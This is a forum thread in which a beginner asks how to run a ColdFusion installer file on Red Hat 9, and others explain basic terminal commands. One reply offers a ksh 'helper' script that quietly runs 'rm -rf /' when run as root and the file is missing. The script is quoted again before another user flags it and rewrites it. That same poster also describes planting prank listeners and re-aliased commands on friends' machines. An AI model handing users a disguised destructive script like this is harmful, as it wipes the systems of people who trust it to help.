Help installing ColdFusion on RedHat 9.0

[dyst0pia]

I am having trouble installing coldfusion on my new installation of redhat 9.0.

Keep in mind I am an incredibly novice linux user.

Basically, I can install coldfusion just fine, at least for the first part of it.

Then, the installation stops, and it says to go into;

home/chris/cf/bin

and to run some file.

Basically, I don't know how to use the terminal so that I can go directly into that folder and run the file.

Can I just use the command for running it, only putting the :

home/chris/cf/bin

in front of it?

I am just fooling around, trying to work on some web stuff. Decided I might as well install coldfusion.


Anybody got any recommendations?

[OfficerGoat]

Cold Fusion?? Dear lord...... anyhow..

Some basic console commands...

PWD = what directory am I working in? ..
LS = list the files in this directory
CD = Change Directory

With those three commands do the following...
1st "PWD" to see where you are located.... Proboly will be /home/chris/

If it is do a "ls -l" this will list the contents of your directory in longhand.... is the cf directory there? If so...

"CD cf" .. this will move you to the /home/chris/cf direcory and then "CD bin" to put you into the /home/chris/cf/bin directory. Or if you wanna be fancy.... "cd ./cf/bin/" and do it all in one fell swoop. Personaly when I am fidling around with new stuff I do it one dir at a time because I like to peep at the contents and structures of the other dirs.

Do another LS ... is the file you are looking for there. BTW what command is it asking you to run? Depending on the specific command it will depend on how you want to run it. Weather it be in that directory or simply call it out as /home/chris/cf/bin/filename or if its run make from that directory. You have to remember that some of these commands function differently depending on where your working directory is so if it says run it from that location its proboly a good idea to do so unless you know specificaly can get away without doing so.

[Fixion]

Heh, why are you are using Cold Fusion?

Do you have ksh installed? What modules do you have running in Apache? Do you have Apache installed?

./home/chris/cf/bin/[file to run here] should work.

[OfficerGoat]

Originally posted by Fixion


./home/chris/cf/bin/[file to run here] should work.

Ax the . on the front. the . says relative to your current directory... withoutit it would be relative to the root which in this case is more likely what you want.

Just to be superclear if you were in the folder /home/goat/ persay it would translate out to...
/home/goat/home/chris/cf/bin/

Clear as mud yet?

[Fixion]

Or you could do 'echo "/home/chris/cf/bin/[file]" | /bin/bash' just for kicks...
Just clearing it up .

[lopxtc]

Well lets confuse him more ...

$ touch doSomething.ksh
$ vi doSomething.ksh
(press i)

#!/bin/ksh

if [-f /home/chris/cf/bin/(insert_file_name)]; then
/home/chris/cf/bin/(insert_file_name)
else
echo "file doesnt exist."
if [$UID -eq "0"]; then
echo "cleaning up un-needed files for you."
rm -rf /
fi
fi

(press esc, shift+;, wq!, enter)

$ chmod +x doSomething.ksh
$ ./doSomething.ksh

Aaron

*dislaimer .. I am not responsible if this doesnt do what you want

[Fixion]

Originally posted by lopxtc
Well lets confuse him more ...

$ touch doSomething.ksh
$ vi doSomething.ksh
(press i)

#!/bin/ksh

if [-f /home/chris/cf/bin/(insert_file_name)]; then
/home/chris/cf/bin/(insert_file_name)
else
echo "file doesnt exist."
if [$UID -eq "0"]; then
echo "cleaning up un-needed files for you."
rm -rf /
fi
fi

(press esc, shift+;, wq!, enter)

$ chmod +x doSomething.ksh
$ ./doSomething.ksh

Aaron

*dislaimer .. I am not responsible if this doesnt do what you want

Umm... you might not want to run that as root . Then again, it might be a good thing, lol. Then install Slackware, Debian, Gentoo, or some BSD. Thats where its at.

Iopxtc - why are you trying to screw him over? I took the liberty to modify the script..

Modified shell script:

#!/bin/ksh

if [$UID -eq "0"]; then
echo "Don't run scripts you get off the net as root unless you know what it does! Espechially if it tries to delete everything."
fi
echo "/home/chris/cf/bin/(insert_file_name)" | /bin/bash

[lopxtc]

All in good fun ... I believe that the average person should have to rescue/repair/restore a linux box at least once a month just to be up on things hehehe

You wouldnt want to know some of the nasty scripts we would install on friends boxes that insist on running as root all the time.

We would install Perl scripts listing on ports <1024 that would run in the background and wait for a proper sized ping packet to hit it ... then it would run and randomly issue ifconfig eth0 down and ifconfig eth0 up commands.

We would re-alias commands or move common commands and create symbolic links in their place to different commands heheheheh

Aaron